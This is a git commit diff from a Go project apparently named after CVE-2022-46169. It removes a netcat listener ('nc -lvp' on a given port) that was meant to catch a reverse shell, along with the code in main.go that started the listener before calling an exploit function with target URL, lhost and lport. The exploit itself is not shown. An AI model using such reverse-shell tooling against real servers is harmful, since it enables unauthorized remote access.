removed listener, hopeless

This commit is contained in:
Vomitblood 2025-01-24 11:28:26 +08:00
parent 6568d286aa
commit 838f3f2542
2 changed files with 0 additions and 38 deletions

View file

@ -1,28 +0,0 @@
package listener
import (
"fmt"
"os"
"os/exec"
)
func startNetcatListener(lport string) {
// Create the command to run netcat as a listener
cli := exec.Command("nc", "-lvp", lport)
// Set up the output to be printed to the console
cli.Stdout = os.Stdout
cli.Stderr = os.Stderr
// Run the command
err := cli.Run()
if err != nil {
fmt.Println("Error starting netcat listener:", err)
os.Exit(1)
}
}
func Listen(lport string) {
fmt.Printf("Starting netcat listener on port %s...\n", lport)
startNetcatListener(lport)
}

10
main.go
View file

@ -1,11 +1,8 @@
package main
import (
"time"
"git.vomitblood.com/Vomitblood/cve-2022-46169/internal/cmd"
"git.vomitblood.com/Vomitblood/cve-2022-46169/internal/exploiter"
"git.vomitblood.com/Vomitblood/cve-2022-46169/internal/listener"
)
func main() {
@ -14,12 +11,5 @@ func main() {
return
}
go listener.Listen(lport)
time.Sleep(1 * time.Second)
exploiter.Exploit(urlTarget, lhost, lport)
// prevent the main goroutine from exiting immediately
select {}
}